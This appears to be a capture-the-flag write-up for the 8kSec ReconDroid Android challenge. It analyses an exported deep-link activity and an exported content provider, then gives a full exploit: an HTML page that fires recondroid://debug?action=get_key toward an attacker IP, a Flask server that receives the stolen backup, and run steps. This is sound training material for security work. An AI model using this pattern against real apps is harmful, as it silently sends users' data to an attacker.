Post

ReconDroid - 8kSec


Description

Ever wondered what secrets your Android device holds? Meet ReconDroid! A powerful application analysis tool that gives you unprecedented insight into your device’s ecosystem. ReconDroid delivers comprehensive application reconnaissance with detailed technical analysis, storage insights, and component mapping.

It features smart filtering, real-time search, and professional-grade backup and export functionality for security researchers. Its streamlined interface helps you understand your device’s attack surface while ensuring critical application intelligence is always accessible and shareable.


Objective

Create a malicious web page that exploits the ReconDroid application to exploit the Export functionality to extract sensitive application data and device information without the victim’s knowledge or consent to an attacker controlled webserver.

Successfully completing this challenge demonstrates a critical security vulnerability that could lead to unauthorized data exfiltration, privacy violations, and exposure of sensitive application intelligence that could be used for targeted attacks against ReconDroid users.


Restrictions

Your solution must work on Android devices running versions up to Android 15. Your exploit must work through web browsers where all the victim needs to do is open a webpage on the Android devices browser and must not require any additional permissions beyond what ReconDroid already requests, making the attack vector appear as a legitimate web interaction to unsuspecting users.


Explore the application

The main activity displays a list of all installed apps and two buttons: Backup and Export


When the Backup button is pressed, the app writes a backup file to /sdcard/Android/data/com.eightksec.recondroid/files/Documents/backups



When the Export button is clicked, the user should select the protocol (http or https) and specify the server’s IP address and port. The app then uploads the backup file to that server using a POST /upload request


Analyzing the application using JADX

From: AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<activity
    android:name="com.eightksec.recondroid.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="recondroid"
            android:host="export"/>
    </intent-filter>
    <intent-filter android:autoVerify="true">
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="recondroid"
            android:host="debug"/>
    </intent-filter>
</activity>

exported="true" + VIEW + BROWSABLE means any app or the browser can launch MainActivity via URLs:

  • recondroid://export
  • recondroid://debug

Because this is a custom scheme (recondroid://), no domain ownership checks apply; any page, QR, or app can attempt to open it. A browser can open deep links (intent-filters that include the BROWSABLE category), so a malicious webpage can launch recondroid://... URIs and thereby invoke exported activities in the target app.

An attacker-controlled web page can trigger the app through its recondroid:// deep link and pass arbitrary parameters. Since mobile browsers typically have the INTERNET permission, following the deep link can make the app exfiltrate backup files to the attacker silently, without the user being aware.


1
2
3
4
5
<provider
  android:name="com.eightksec.recondroid.DebugInfoProvider"
  android:authorities="com.eightksec.recondroid.debug"
  android:exported="true"
  android:readPermission="android.permission.INTERNET"/>
  • Authority: content://com.eightksec.recondroid.debug/...

  • Exported and readable by any app that holds INTERNET (a normal, auto-granted permission).

  • Practically, any installed app declaring <uses-permission android:name="android.permission.INTERNET"/> can read it.


From: com.eightksec.recondroid.DebugInfoProvider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public final class DebugInfoProvider extends ContentProvider {
    public static final int APP_STATUS = 2;
    public static final String AUTHORITY = "com.eightksec.recondroid.debug";
    public static final int DEBUG_INFO = 1;
    private static final UriMatcher uriMatcher;


	private final Cursor getDebugInfo() {
        MatrixCursor matrixCursor = new MatrixCursor(new String[]{"key", "value", "timestamp"});
        try {
            Context context = getContext();
            SharedPreferences sharedPreferences = context != null ? context.getSharedPreferences("debug_info", 0) : null;
            if (sharedPreferences != null) {
                String string = sharedPreferences.getString("last_export_key", "");
                String string2 = sharedPreferences.getString("key_status", "inactive");
                long j = sharedPreferences.getLong("debug_timestamp", 0L);
                matrixCursor.addRow(new Object[]{"export_key", string, Long.valueOf(j)});
                matrixCursor.addRow(new Object[]{"key_status", string2, Long.valueOf(j)});
                matrixCursor.addRow(new Object[]{"debug_mode", "enabled", Long.valueOf(System.currentTimeMillis())});
                matrixCursor.addRow(new Object[]{"app_version", "1.0", Long.valueOf(System.currentTimeMillis())});
            }
        } catch (Exception e) {
            e.printStackTrace();
            matrixCursor.addRow(new Object[]{"error", "debug_access_failed", Long.valueOf(System.currentTimeMillis())});
        }
        return matrixCursor;
    }

    private final Cursor getAppStatus() {
        MatrixCursor matrixCursor = new MatrixCursor(new String[]{"component", NotificationCompat.CATEGORY_STATUS, "last_update"});
        try {
            matrixCursor.addRow(new Object[]{"backup_service", "active", Long.valueOf(System.currentTimeMillis())});
            matrixCursor.addRow(new Object[]{"export_service", "ready", Long.valueOf(System.currentTimeMillis())});
            matrixCursor.addRow(new Object[]{"key_manager", "initialized", Long.valueOf(System.currentTimeMillis())});
            Context context = getContext();
            SecureKeyManager secureKeyManager = context != null ? new SecureKeyManager(context) : null;
            matrixCursor.addRow(new Object[]{"security_key", secureKeyManager != null ? secureKeyManager.hasValidKey() : false ? "present" : "missing", Long.valueOf(System.currentTimeMillis())});
        } catch (Exception e) {
            e.printStackTrace();
            matrixCursor.addRow(new Object[]{"error", "status_check_failed", Long.valueOf(System.currentTimeMillis())});
        }
        return matrixCursor;
    }

    @Override // android.content.ContentProvider
    public String getType(Uri uri) {
        Intrinsics.checkNotNullParameter(uri, "uri");
        int match = uriMatcher.match(uri);
        if (match == 1) {
            return "vnd.android.cursor.dir/debug_info";
        }
        if (match != 2) {
            return null;
        }
        return "vnd.android.cursor.dir/app_status";
    }
}

The application registers an exported ContentProvider under the authority com.eightksec.recondroid.debug. Internally it matches two URI paths: debug_info and app_status. When either of these endpoints is queried, the provider builds a MatrixCursor and returns information directly to the caller.

For debug_info, the provider reads values from the app’s SharedPreferences("debug_info"). If present, it returns the stored export key (last_export_key), key state (key_status), and a timestamp.

content://com.eightksec.recondroid.debug/debug_info can reveal the application’s export key and other internal flags.



The second endpoint, app_status, reports the current state of several internal components (backup_service, export_service, key_manager) and also discloses whether a valid security key exists by consulting SecureKeyManager. All values are returned dynamically inside a MatrixCursor.

Because access control is weak (the manifest only requires the normal INTERNET permission), any app on the device with this common permission can harvest the export key and service status without user interaction.


Querying app_status

1
2
3
adb shell
su
content query --uri content://com.eightksec.recondroid.debug/app_status

Output:

1
2
3
4
Row: 0  component=backup_service     status=active       last_update=1762390169955
Row: 1  component=export_service     status=ready        last_update=1762390169955
Row: 2  component=key_manager        status=initialized  last_update=1762390169955
Row: 3  component=security_key       status=present      last_update=1762390169956


Querying debug_info

1
2
3
adb shell
su
content query --uri content://com.eightksec.recondroid.debug/debug_info

Output:

1
2
3
4
Row: 0  key=export_key   value=ZsfLkeLYpWdIwIv6LdaBDhNLG8HyQpx7PJSWXfjb8MQ=   timestamp=1762388961802
Row: 1  key=key_status   value=active                                          timestamp=1762388961802
Row: 2  key=debug_mode   value=enabled                                         timestamp=1762390183561
Row: 3  key=app_version  value=1.0                                             timestamp=1762390183561


Note: The DebugInfoProvider is protected by android:readPermission="android.permission.INTERNET", so Android enforces that only callers holding the INTERNET permission may read from it. Therefore a direct adb shell content query … call is rejected with a SecurityException. In practice this means you cannot inspect the provider from a normal ADB shell unless you either run the command as root or execute it under a debuggable app’s context (run-as).


From: com.eightksec.recondroid.MainActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
public final class MainActivity extends AppCompatActivity {
 @Override // androidx.activity.ComponentActivity, android.app.Activity
    protected void onNewIntent(Intent intent) {
        Intrinsics.checkNotNullParameter(intent, "intent");
        super.onNewIntent(intent);
        handleIntent(intent);
    }

    private final void handleIntent(Intent intent) {
        Log.d("ReconDroid", "=== INTENT RECEIVED ===");
        if (Intrinsics.areEqual(intent.getAction(), "android.intent.action.VIEW")) {
            Uri data = intent.getData();
            if (Intrinsics.areEqual(data != null ? data.getScheme() : null, "recondroid")) {
                Log.d("ReconDroid", "ReconDroid deeplink detected!");
                String host = data.getHost();
                if (host != null) {
                    int hashCode = host.hashCode();
                    if (hashCode != -1289153612) {
                        if (hashCode == 95458899 && host.equals("debug")) {
                            handleDebugDeeplink(data);
                            return;
                        }
                    } else if (host.equals("export")) {
                        handleExportDeeplink(data);
                        return;
                    }
                }
                Log.d("ReconDroid", "Unknown deeplink host: " + data.getHost());
                return;
            }
            Log.d("ReconDroid", "Not a ReconDroid deeplink");
            return;
        }
        Log.d("ReconDroid", "Not an ACTION_VIEW intent");
    }

    /* JADX WARN: Type inference failed for: r0v6, types: [T, java.lang.String] */
    /* JADX WARN: Type inference failed for: r15v1, types: [T, java.lang.String] */
    private final void handleExportDeeplink(Uri uri) {
        String str;
        String queryParameter = uri.getQueryParameter("protocol");
        if (queryParameter == null) {
            queryParameter = "http";
        }
        String str2 = queryParameter;
        String queryParameter2 = uri.getQueryParameter("host");
        String queryParameter3 = uri.getQueryParameter("port");
        Ref.ObjectRef objectRef = new Ref.ObjectRef();
        objectRef.element = uri.getQueryParameter("key");
        Ref.ObjectRef objectRef2 = new Ref.ObjectRef();
        objectRef2.element = uri.getQueryParameter("file");
        String str3 = queryParameter2;
        if (str3 == null || str3.length() == 0 || (str = queryParameter3) == null || str.length() == 0) {
            return;
        }
        BackupExportManager backupExportManager = this.backupExportManager;
        if (backupExportManager == null) {
            Intrinsics.throwUninitializedPropertyAccessException("backupExportManager");
            backupExportManager = null;
        }
        backupExportManager.showToast("🚀 Export deeplink triggered!");
        BuildersKt__Builders_commonKt.launch$default(LifecycleOwnerKt.getLifecycleScope(this), null, null, new MainActivity$handleExportDeeplink$1(objectRef, this, objectRef2, str2, queryParameter2, queryParameter3, null), 3, null);
    }

    private final void handleDebugDeeplink(Uri uri) {
        String str;
        String queryParameter = uri.getQueryParameter("action");
        if (Intrinsics.areEqual(queryParameter, "get_key")) {
            performKeyDiagnostics();
            String queryParameter2 = uri.getQueryParameter("host");
            String queryParameter3 = uri.getQueryParameter("port");
            String queryParameter4 = uri.getQueryParameter("protocol");
            if (queryParameter4 == null) {
                queryParameter4 = "http";
            }
            String str2 = queryParameter2;
            if (str2 == null || str2.length() == 0 || (str = queryParameter3) == null || str.length() == 0) {
                return;
            }
            performAutoExport(queryParameter4, queryParameter2, queryParameter3);
            return;
        }
        if (Intrinsics.areEqual(queryParameter, "get_status")) {
            BackupExportManager backupExportManager = this.backupExportManager;
            if (backupExportManager == null) {
                Intrinsics.throwUninitializedPropertyAccessException("backupExportManager");
                backupExportManager = null;
            }
            backupExportManager.showToast("Debug: System operational");
        }
    }
}

MainActivity listens for ACTION_VIEW intents and treats any URL with the custom scheme recondroid:// as a deep link. It branches on the host:

  • recondroid://exporthandleExportDeeplink(uri) Reads query params protocol (default http), host, port, and optional key and file. If both host and port are present, it shows a toast (“Export deeplink triggered!”) and launches a coroutine that delegates to the app’s export logic (via BackupExportManager), effectively initiating a network export to the supplied destination. There’s no user confirmation or strong validation of the parameters.
  • recondroid://debughandleDebugDeeplink(uri) Checks the action parameter. • action=get_key: calls performKeyDiagnostics() and, if host and port are provided (with optional protocol, default http), calls performAutoExport(protocol, host, port). This can automatically transmit the app’s backup/keys to an external endpoint specified in the link. • action=get_status: just displays a toast (“System operational”).

Other recondroid:// hosts are logged as “Unknown deeplink host,” and non-VIEW intents are ignored. The class also overrides onNewIntent so deep links received while the activity is already running are still routed through handleIntent.


Because MainActivity is exported and BROWSABLE, any app or webpage can open links like:

1
2
recondroid://debug?action=get_key&host=<attacker-ip>&port=8000
recondroid://export?host=<attacker-ip>&port=8000&protocol=http


You can also trigger the deep link via adb:

1
adb shell am start -a android.intent.action.VIEW -d 'recondroid://debug?action=get_key&host=<attacker-ip>&port=8000'


ReconDroid Deep Link Exploit

Because MainActivity is exported and registers a BROWSABLE intent-filter for recondroid://debug, the OS opens the ReconDroid app and delivers that Intent. The app’s deep-link handler (handleDebugDeeplink) recognizes action=get_key and will call performAutoExport(protocol, host, port) if host and port are present, which triggers the app to send debug/backup data to the supplied host:port. In short: clicking the page causes the victim’s device to silently exfiltrate data to the attacker.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>ReconDroid Exploit</title>

  <style>
    body {
      margin: 0;
      background: #0f172a;
      font-family: "Inter", sans-serif;
      display: flex;
      justify-content: center;
      align-items: center;
      height: 100vh;
      color: #e2e8f0;
    }

    .card {
      background: #1e293b;
      padding: 30px;
      border-radius: 12px;
      text-align: center;
      box-shadow: 0 0 30px rgba(0,0,0,0.35);
      width: 90%;
      max-width: 420px;
      border: 1px solid rgba(255,255,255,0.08);
    }

    h1 {
      font-size: 26px;
      margin-bottom: 12px;
      color: #38bdf8;
    }

    button {
      width: 80%;
      padding: 14px;
      font-size: 16px;
      font-weight: 600;
      background: #38bdf8;
      border: none;
      border-radius: 8px;
      color: #0f172a;
      cursor: pointer;
      transition: 0.25s;
    }

  </style>
</head>

<body>
  <div class="card">
    <h1>ReconDroid</h1>
    <button onclick="openDeepLink()">ReconDroid Exploit</button>
  </div>

  <script>
    function openDeepLink() {
      const host = '<Attacker-IP>';
      const port = 8000;
      const protocol = 'http';
      const url = `recondroid://debug?action=get_key&protocol=${protocol}&host=${host}&port=${port}`;
      window.location.href = url;
    }
  </script>
</body>
</html>

The page contains a single button. When clicked the page navigates the browser to a custom URL using the app’s recondroid:// scheme:

1
recondroid://debug?action=get_key&protocol=http&host=<Attacker-IP>&port=8000


A Flask server that accepts incoming uploads and stores the exfiltrated data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import os
import json
from datetime import datetime
from flask import Flask, request, jsonify, abort
from werkzeug.utils import secure_filename

app = Flask(__name__)

# Config
UPLOAD_FOLDER = os.path.join(os.path.dirname(__file__), "uploads")
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER
# Limit uploads to 1 MB (adjust as needed)
app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024

@app.route("/upload", methods=["POST"])
def upload():
    # Check that there is an uploaded file named "file"
    if "file" not in request.files:
        return jsonify({"error": "no file part named 'file' in request"}), 400

    uploaded = request.files["file"]

    # If user submitted an empty filename
    if uploaded.filename == "":
        return jsonify({"error": "empty filename"}), 400

    # Make filename safe and unique if needed
    original_filename = uploaded.filename
    filename = secure_filename(original_filename)
    # Append timestamp if filename collision
    save_path = os.path.join(app.config["UPLOAD_FOLDER"], filename)
    if os.path.exists(save_path):
        base, ext = os.path.splitext(filename)
        timestamp = datetime.utcnow().strftime("%Y%m%dT%H%M%S")
        filename = f"{base}_{timestamp}{ext}"
        save_path = os.path.join(app.config["UPLOAD_FOLDER"], filename)

    # Save file
    try:
        uploaded.save(save_path)
    except Exception as e:
        return jsonify({"error": "failed to save file", "detail": str(e)}), 500

    form_fields = {}
    for k in request.form:
        # if multiple values, store list
        values = request.form.getlist(k)
        form_fields[k] = values if len(values) > 1 else values[0]

    return jsonify({
        "message": "file uploaded",
        "file": filename,
        "saved_to": save_path,
        "form_fields": form_fields
    }), 201

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000, debug=True)


Exploitation steps

Save the Flask code to app.py and run it:

1
python app.py


From the folder containing index.html:

1
python3 -m http.server 9000


Then open on the device browser:

1
http://<your-machine-ip>:9000/index.html


Click the button, the victim’s device will follow the recondroid://debug?... deep link, launching the app with the attacker-controlled parameters


When the recondroid://... deep link is opened, Android launches the ReconDroid app and delivers the intent to MainActivity, which recognizes the debug host and get_key action; if valid host and port parameters are present the app immediately runs its auto-export routine (without prompting the user), finds the latest backup, and uploads it to the attacker-controlled server, delivering sensitive data such as the export key and app metadata


The attacker’s server receives and stores the uploaded backup, which includes sensitive data such as the Export Key and app metadata


When the app performs the auto-export, the Flask server will save the uploaded file under uploads/ and log or return the supplied form fields.

1
2
ls -l uploads/
cat uploads/recondroid_backup_2025-11-06_08-37-52.txt
This post is licensed under CC BY 4.0 by the author.